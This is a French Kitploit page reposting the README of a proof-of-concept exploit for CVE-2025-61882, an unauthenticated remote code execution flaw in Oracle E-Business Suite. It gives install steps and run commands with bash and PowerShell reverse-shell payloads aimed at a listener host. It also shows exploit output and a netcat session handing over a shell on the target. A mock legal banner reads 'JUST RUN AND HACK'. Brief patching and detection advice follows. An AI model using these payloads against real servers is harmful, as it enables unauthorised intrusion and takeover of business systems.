CVE-2025-61882-POC — Exploit pour CVE-2025-61882, une RCE critique sans authentification préalable dans Oracle E-Business Suite. Combine SSRF, injection CRLF, HTTP smuggling et injection XSLT pour une exécution de code à distance sans authentification. | Kitploit

Outil de test de sécurité CVE-2025-61882

🚨 AVERTISSEMENT LÉGAL CRITIQUE

Voir notre article de blog pour plus de détails techniques

CET OUTIL EST RÉSERVÉ UNIQUEMENT AUX TESTS DE SÉCURITÉ AUTORISÉS

╔══════════════════════════════════════════════════════════════╗
║                                                              ║
║  🚨 UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL 🚨   ║
║                                                              ║
║  By using this tool, you acknowledge and agree that:         ║
║                                                              ║
║                                                              ║
║                 FCK THIS JUST RUN AND HACK                   ║
║                                                              ║
║                                                              ║
║                                                              ║
║                                                              ║
║                                                              ║
╚══════════════════════════════════════════════════════════════╝

# Clone the repository
git clone https://github.com/[YOUR-USERNAME]/CVE-2025-61882-POC
cd CVE-2025-61882-POC

# Install dependencies
pip3 install -r requirements.txt

# Make script executable (Linux/Mac)
chmod +x cve-2025-61882-detector.py

python3 cve-2025-61882-detector.py \
  --target http://192.168.1.22:8000 \
  --lhost 192.168.1.10 \
  --lport 80 \
  --command 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' \
  --platform linux

python3 cve-2025-61882-detector.py \
  --target http://192.168.1.22:8000 \
  --lhost 192.168.1.10 \
  --lport 80 \
  --command 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.10\",4444)"' \
  --platform windows

Paramètre	Description	Requis	Exemple
`--target`	URL cible Oracle EBS	Oui	`http://192.168.1.22:8000`
`--lhost`	Votre adresse IP (pour les rappels)	Oui	`192.168.1.10`
`--lport`	Port du serveur HTTP (sert la charge utile XSL)	Oui	`80` ou `8080`
`--command`	Commande à exécuter sur la cible	Oui	Voir les exemples ci-dessus
`--platform`	Système d'exploitation cible : `linux` ou `windows`	Oui	`linux`

[*] Target URL:    http://192.168.1.22:8000
[*] Listener IP:   192.168.1.10
[*] Listener Port: 80
[*] Platform:      linux

[*] HTTP server started on 192.168.1.10:80
[*] Connecting to target to retrieve CSRF token...
[*] CSRF TOKEN: WLDW-GNFH-MB4K-76EA-JB48-VY3X-L30R-NZT0
[*] Cooking HTTP smuggle stub...
[*] Sending exploit payload...
[*] Exploit payload sent successfully

[+] 192.168.1.22 - GET /OA_HTML/help/../ieshostedsurvey.xsl HTTP/1.1
[+] XSL payload served successfully

ubuntu@attacker:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.22 30290
bash: no job control in this shell
[oracle@apps EBS_domain]$ id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall)
[oracle@apps EBS_domain]$

Appliquez le correctif d'urgence Oracle (ID du document : 30061882.1)

Recherchez des signes de compromission :

SELECT * FROM XDO_TEMPLATES_B 
WHERE TEMPLATE_CODE LIKE 'TMP%' OR TEMPLATE_CODE LIKE 'DEF%';

Examinez les journaux d'accès depuis août 2025
Bloquez l'accès Internet sortant depuis les serveurs EBS

CVE-2025-61882-POC

Populaires

📋 Aperçu

Détails de la vulnérabilité

Résumé technique

🎯 Cas d'utilisation prévus

✅ Utilisation acceptable

❌ Utilisation interdite

📦 Installation

Prérequis

Configuration

🚀 Utilisation

Étape 1 : Mettez en place votre auditeur (listener)

Étape 2 : Exécutez l'outil

Paramètres

📊 Exemple de sortie

Sortie de l'outil

Sortie de l'auditeur Netcat (si vulnérable)

🛡️ Détection et défense

Pour les défenseurs de la sécurité

Actions immédiates

Indicateurs de détection

📚 Références

📜 Licence